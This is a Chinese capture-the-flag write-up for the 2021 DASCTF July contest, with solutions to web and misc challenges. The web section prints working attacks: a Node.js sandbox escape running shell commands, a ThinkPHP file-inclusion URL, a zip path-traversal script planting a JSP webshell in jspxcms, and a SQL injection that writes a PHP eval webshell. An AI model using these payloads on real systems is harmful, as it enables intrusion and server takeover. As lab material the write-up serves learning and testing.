2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th

2022-08-10 19:29:45 浏览数 (2)

Web

ezrce

你真的会 nodejs 吗?

随便注册一个号登录进去,然后再随便添加个项目,并在项目中随便添加个接口。 接着进入设置找到全局mock脚本,进行远程代码执行

代码语言:javascript复制
# 查看目录
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls /").toString()
# cat flag
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("cat /ffffffflllllaggggg").toString()

保存后访问mock地址得到flag

cat flag

简简单单cat flag hint:管理员曾访问过flag

根据hint可知flag文件名在日志里,于是访问 /var/log/nginx/access.log 得到flag文件名

接着我们就通过加个不可见字符(例如 )即可绕过得到flag

easythinkphp

easythinkphp

检测发现存在 thinkphp 3.x Log RCE 和 thinkphp 3.x 日志泄露 这两个洞,直接一键getshell后成功连接上蚁剑

最后在根目录下找到flag

由于出题人权限没设置好,可以直接包含到 /flag(不过这也难免,除非只让rce

代码语言:javascript复制
/?m=Home&c=Index&a=index&value[_filename]=/flag

jspxcms

http://sdejkwdfnewi3f2jr32d3edfewd.dasctf.node4.buuoj.cn:82/ 靶机每十分钟重置一次。

站点底下发现有个后台登录地址,Google搜索得知默认账号为admin;密码为空 接着我们就成功进入后台,通过搜索jspxcms后台漏洞得知是zip解压功能⽬录穿越漏洞 于是我们找到上传点,利用网上的一个冰蝎?构造war包(做了限制执行不了jsp文件) 然后写个脚本生成目录穿越的zip进行上传,接着将其解压,最后即可访问目录穿越的文件 /harvey/shell.jsp

附上脚本

代码语言:javascript复制
import zipfile

war = open('harvey.war', 'rb').read()
zipFile = zipfile.ZipFile("harvey.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("harvey.zip")
zipFile.writestr("../../../harvey.war", war)
zipFile.close()

最后我们通过冰蝎成功连接并找到flag(PS:冰蝎默认密码为rebeyond)

cybercms

赛博CMS,只为安全而生 hint:信息搜集是一个web手必备的技能

后台注入 找到后台 /admin/login.php,试了下常见的弱口令无果,于是尝试抓包,上传?

代码语言:javascript复制
user=admin'/**/union/**/selselectect/**/0x3c3f70687020406576616c28245f504f53545b27686172766579275d293b3f3e,1,1,1,1/**/into/**/outfoutfileile/**/'/var/www/html/har.php'/**/#&password=hex&code=&submit=true&submit.x=20&submit.y=26

# http://4b3d486c-68c9-4766-9522-03bc3f5367eb.node4.buuoj.cn:81/harvey.php
# 密码:harvey

最后蚁剑连接得到flag

jj’s camera

jj在某次网络安全活动中发现了个黑客做的网站,请使用https访问站点 hint:网上能搜到源码,仅修改了前端ui,注意服务器的响应

截断 文件写入

Misc

red_vs_blue

红队和蓝队将开展66轮对抗,你能预测出每轮对抗的结果吗? nc连接

nc连接得知是连续66次盲猜答对红蓝队即可得到flag,但是它每轮都有时间限制,在较短的时间内手工解出是不太可能的,所以我们需要写脚本跑出来flag

代码语言:javascript复制
Here are 66 AWD Games will begin!
The winner is between Red Team and Blue Team
To get the flag if you predict the results of all games successfully!

附上脚本

代码语言:javascript复制
from pwn import *
import time
p = remote("node4.buuoj.cn", 25611)
context.log_level = 'DEBUG'
res = ['r' for i in range(66)]
i = 0
while 1:
    p.sendafter('choose one [r] Red Team,[b] Blue Team:n',res[i],timeout=1)
    # print(res[i])
    ss = p.recvuntil('Game',timeout=1)
    if ss==b'':
        ss = p.recvuntil('Play again? (y/n): ',timeout=1)
    # print(ss)
    if b'The result Blue Team' in ss:
        res[i]='b'
        i  = 1
    elif b'The result Red Team' in ss:
        res[i]='r'
        i  = 1
    if b'Play again? (y/n): ' in ss:
        p.sendline('y')
        i = 0

funny_maze

七月被困在了迷宫里,十秒后迷宫的终点就要永远消失了,你能帮她走出迷宫吗? nc 连接

老迷宫人了(疯狂超时~ 参考文章: 2020纵横杯迷宫题wpDFS

附上脚本:

代码语言:javascript复制
from pwn import *
context.log_level = 'DEBUG'
def dfs(s,x,y):
    if mapx[x][y]=='E':
        print s
        p.sendline(str(len(s) 1))
        return True
    if mapx[x][y]=='#':
        return False
    #wasd
    if vis[x][y]:
        return False
    vis[x][y]=True
    if y==0:
        if dfs(s   'w', x - 1, y):
            return True
        # if dfs(s   'a', x, y - 1):
        #     return True
        if dfs(s   's', x   1, y):
            return True
        if dfs(s   'd', x, y   1):
            return True
    else:
        if dfs(s 'w',x-1,y):
            return True
        if dfs(s 'a',x,y-1):
            return True
        if dfs(s 's',x 1,y):
            return True
        if dfs(s 'd',x,y 1):
            return True
    return False
p=remote("node4.buuoj.cn",29722)
p.recv(1024)
p.sendline("1")
p.recvuntil("###########n")
mapx=["###########n"]
for i in range(10):
    mapx.append(p.recvline())
for i in range(len(mapx)):
    for j in range(len(mapx[i])):
        if mapx[i][j]== 'S':
            xx=i
            yy=j
            break
vis=[]
for i in range(12):
    vis.append([])
    for j in range(22):
        vis[i].append(False)
# print vis
dfs('',xx,yy)
# p.recv(1024)
#1st finished

p.recvuntil("#####################n")
mapx=["#####################n"]
for i in range(20):
    mapx.append(p.recvline())
for i in range(len(mapx)):
    for j in range(len(mapx[i])):
        if mapx[i][j]== 'S':
            xx=i
            yy=j
            break
vis=[]
for i in range(22):
    vis.append([])
    for j in range(42):
        vis[i].append(False)
dfs('',xx,yy)
# p.recv(9999)
# p.sendafter("So, Let's move on to the next level!n",'1')
# print len(a)
# #2nd finished
p.recvuntil("###############################n")
mapx=["###############################n"]
for i in range(30):
    mapx.append(p.recvline())
for i in range(len(mapx)):
    for j in range(len(mapx[i])):
        if mapx[i][j]== 'S':
            xx=i
            yy=j
            break
vis=[]
for i in range(32):
    vis.append([])
    for j in range(62):
        vis[i].append(False)
dfs('',xx,yy)
p.recv(9999)
p.recvuntil("#####################################################################################################n")
mapx=["#####################################################################################################n"]
for i in range(100):
    mapx.append(p.recvline())
for i in range(len(mapx)):
    for j in range(len(mapx[i])):
        if mapx[i][j]== 'S':
            xx=i
            yy=j
            break
vis=[]
for i in range(100):
    vis.append([])
    for j in range(100):
        vis[i].append(False)
dfs('',xx,yy)
p.recv(100000)
p.recv(100000)

Just a GIF

你能从GIF中找到小豆泥隐藏的flag吗?

首先分离gif,然后每11帧为一组,共分成41组,不难发现每组和第一组的对比中有部分像素rgb值只差1,于是我们把像素一样的变为白色,不一样的为黑色,进而得到11张图,其中最后的两张是告诉我们前九张图对应的位置,然后我们把前九张拼起来得到datamartix码,扫码即可得到flag

附上一些脚本 1.分离GIF(PS:也可利用工具gifsplitter分离)

代码语言:javascript复制
import os
from PIL import Image, ImageSequence
import matplotlib.pyplot as plt

def parseGIF(gifname):
    # 将gif解析为图片
    # 读取GIF
    im = Image.open(gifname)
    # GIF图片流的迭代器
    iter = ImageSequence.Iterator(im)
    # 获取文件名
    file_name = gifname.split(".")[0]
    index = 0
    # 判断目录是否存在
    pic_dirct = "./gif/".format(file_name)
    mkdirlambda = lambda x: os.makedirs(
        x) if not os.path.exists(x) else True  # 目录是否存在,不存在则创建
    mkdirlambda(pic_dirct)
    # 遍历图片流的每一帧
    for IMG in iter:
        print("image %d: mode %s, size %s" % (index, IMG.mode, IMG.size))
        IMG.save("./gif/IMG"   str(index).zfill(5)   ".bmp")
        index  = 1

parseGIF('Just_a_GIF.gif')

2.1. 提取11张图片,然后手工拼接

代码语言:javascript复制
from PIL import Image
import matplotlib.pyplot as plt

for b in range(11):
    img1 = Image.open('gif/IMG000{}.bmp'.format(str(b).zfill(2)))
    x, y = img1.size
    img = Image.new('P', (y, y), 255)
    for a in range(40):
        tmpimg = Image.open('gif/IMG00{}.bmp'.format(str(b 11* (a 1)).zfill(3)))
        print('gif/IMG00{}.bmp'.format(str(b 11* (a 1)).zfill(3)))
        for i in range(y):
            for j in range(y):
                p1 = img1.getpixel((j, i))
                p2 = tmpimg.getpixel((j, i))
                if p1 != p2:
                    img.putpixel((j, i), 0)
    img.save('gifout/{}.png'.format(str(b   1)))
    plt.imshow(img)
    plt.show()

2.2. 一步到位.py

代码语言:javascript复制
from PIL import Image
# 7 1 6
# 9 3 4
# 5 2 8
pasteArray = [2, 8, 5, 6, 7, 3, 1, 9, 4]
resultImage = Image.new("RGB", (83 * 3, 83 * 3), "white")
for group in range(9):
    imageModel = Image.open("./gif/IMG{:05d}.bmp".format(group))
    image = Image.new("RGB", (83,83), "white")
    width, height = imageModel.size
    for i in range(group   11, 451, 11):
        imageSlice = Image.open("./gif/IMG{:05d}.bmp".format(i))
        for y in range(width):
            for x in range(height):
                if imageModel.getpixel((y,x)) != imageSlice.getpixel((y,x)):
                    print(y,x)
                    print(imageModel.getpixel((y,x)), imageSlice.getpixel((y,x)))
                    image.putpixel((y,x), (16,63,145))
    resultImage.paste(image, (((pasteArray[group] - 1) % 3) * 83, ((pasteArray[group] - 1) // 3) * 83, ((pasteArray[group] - 1) % 3) * 83   83,((pasteArray[group] - 1) // 3) * 83   83))
    resultImage.save("result.png")

Nuclear wastewater

小明去日本旅游时,发现了一张被核废水污染过的二维码,你能从中发现什么信息吗。

⾸先读取下⼆维码的颜⾊,发现⼆维码的颜⾊除了⽩⾊的外都是单⼀的r或g或b有值 ,猜测可能是ascii码,但是有不可⻅字符,将范围选定在32到128之间,统计r或g或b的值在这些像素间的数量,可以看到有规律,按照降序将这些值转为字符排下来得到key即为压缩包密码:#R@/&p~! 附上脚本

代码语言:javascript复制
from PIL import Image
from collections import Counter
img = Image.open('Nuclear wastewater.png')
x,y = img.size
res = []
for i in range(y):
    for j in range(x):
        p = img.getpixel((j,i))
        if p!=(255,255,255):
            res.append(p)
print(res)
l = res
ll = []
for i in l:
    for j in i:
        if j!=0:
            ll.append(j)
print(ll)
rr = ''
for i in ll:
    if 32<i<128:
        rr  = chr(i)
print(rr)
rrr = Counter(rr)
rrr = sorted(rrr.items(), key = lambda kv:(kv[1], kv[0]),reverse=True)
print(rrr)
for i in rrr:
    if i[1]!=100:
        print(i[0],end='')

得到的flag.txt文本不难看出可能存在零宽,进而得知应该是关于Citrix相关的解密方式

厨子上搜一下就有了,最后通过两次解密得到flag

ezSteganography

有手就行的隐写

放入steg中我们可以看到信息 There are somethings in G plane ,于是我们G通道lsb得到图片获得一半的flag

在GitHub上找到量化索引调制相关脚本 QuantizationIndexModulation,对其稍作修改跑一下得到另一半flag

附上脚本

代码语言:javascript复制
"""Implementation of QIM method from Data Hiding Codes, Moulin and Koetter, 2005"""

from __future__ import print_function
import sys
import os

import numpy as np
from PIL import Image
import matplotlib.pyplot as plt

class QIM:
    def __init__(self, delta):
        self.delta = delta

    def embed(self, x, m):
        """
        x is a vector of values to be quantized individually
        m is a binary vector of bits to be embeded
        returns: a quantized vector y
        """
        x = x.astype(float)
        d = self.delta
        y = np.round(x/d) * d   (-1)**(m 1) * d/4.
        return y

    def detect(self, z):
        """
        z is the received vector, potentially modified
        returns: a detected vector z_detected and a detected message m_detected
        """

        shape = z.shape
        z = z.flatten()

        m_detected = np.zeros_like(z, dtype=float)
        z_detected = np.zeros_like(z, dtype=float)

        z0 = self.embed(z, 0)
        z1 = self.embed(z, 1)

        d0 = np.abs(z - z0)
        d1 = np.abs(z - z1)

        gen = zip(range(len(z_detected)), d0, d1)
        for i, dd0, dd1 in gen:
            if dd0 < dd1:
                m_detected[i] = 0
                z_detected[i] = z0[i]
            else:
                m_detected[i] = 1
                z_detected[i] = z1[i]


        z_detected = z_detected.reshape(shape)
        m_detected = m_detected.reshape(shape)
        return z_detected, m_detected.astype(int)

qim = QIM(delta = 20)
image = np.array(Image.open("./ezSteganography-flag.png"))
green = image[:, :, 1]
green = green.ravel()
[z_detected, msg_detected] = qim.detect(green)
plt.imshow(msg_detected.reshape(1440, 2560))
plt.show()

0 人点赞